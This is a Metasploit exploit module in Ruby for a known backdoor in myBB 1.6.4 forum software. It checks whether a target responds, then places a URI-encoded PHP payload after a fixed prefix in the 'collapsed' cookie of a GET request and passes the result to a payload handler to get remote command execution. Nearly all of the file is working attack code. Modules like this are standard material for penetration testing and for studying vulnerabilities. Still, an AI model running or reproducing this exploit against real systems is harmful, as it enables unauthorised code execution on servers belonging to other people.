##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'myBB 1.6.4 Backdoor Arbitrary Command Execution',
      'Description'    => %q{
        myBB is a popular open source PHP forum software. Version 1.6.4 contained an
        unauthorized backdoor, distributed as part of the vendor's source package.
      },
      'Author'         =>
        [
          'tdz',
        ],
      'License'        => MSF_LICENSE,
      'Notes' => {
        'Stability' => [CRASH_SAFE],
        'SideEffects' => [],
        'Reliability' => [],
        'NOCVE' => ['Reason not given']
      },
      'References'     =>
        [
          [ 'OSVDB', '76111' ],
          [ 'BID', '49993' ],
          [ 'URL', 'http://web.archive.org/web/20121010011259/http://secunia.com/advisories/46300/' ],
        ],
      'Privileged'     => false,
      'Platform'       => ['php'],
      'Arch'           => ARCH_PHP,
      'Payload'        =>
        {
          'Space'       => 4000,
          'DisableNops' => true,
          'Keys'        => ['php'],
        },
      'Targets'        => [ ['Automatic', { }], ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => '2011-10-06'
    ))

    register_options(
      [
        OptString.new('URI', [ true, "myBB path", '/index.php']),
      ])
  end


  def uri
    normalize_uri(datastore['URI'])
  end

  def check
    vprint_status("Checking target")
    res = send_request_raw({
      'method' => 'GET',
      'uri' => uri
      }, 10
    )

    if (not res) or (not res.code.between?(200,299))
      return Exploit::CheckCode::Safe
    else
      return Exploit::CheckCode::Detected
    end
  end

  def exploit
    print_status("Sending exploit request")

    # for details of the backdoor mechanism.
    cookie = "collapsed=0|1|2|3|4|5|6|7|8|9|10|11|12|13|14|15|16|17|18|19|20|21|22|"
    cookie << Rex::Text.uri_encode(payload.encoded)

    response = send_request_raw({
      'method'  => 'GET',
      'global' => true,
      'uri' => uri,
      'headers' => { 'Cookie' => cookie }
    },10)

    if (not response) or (not response.code.between?(200,299))
      print_error "Cannot connect to #{uri} on #{datastore['RHOST']}, got #{response ? response.code : 'no response'}."
    else
      handler
    end
  end
end
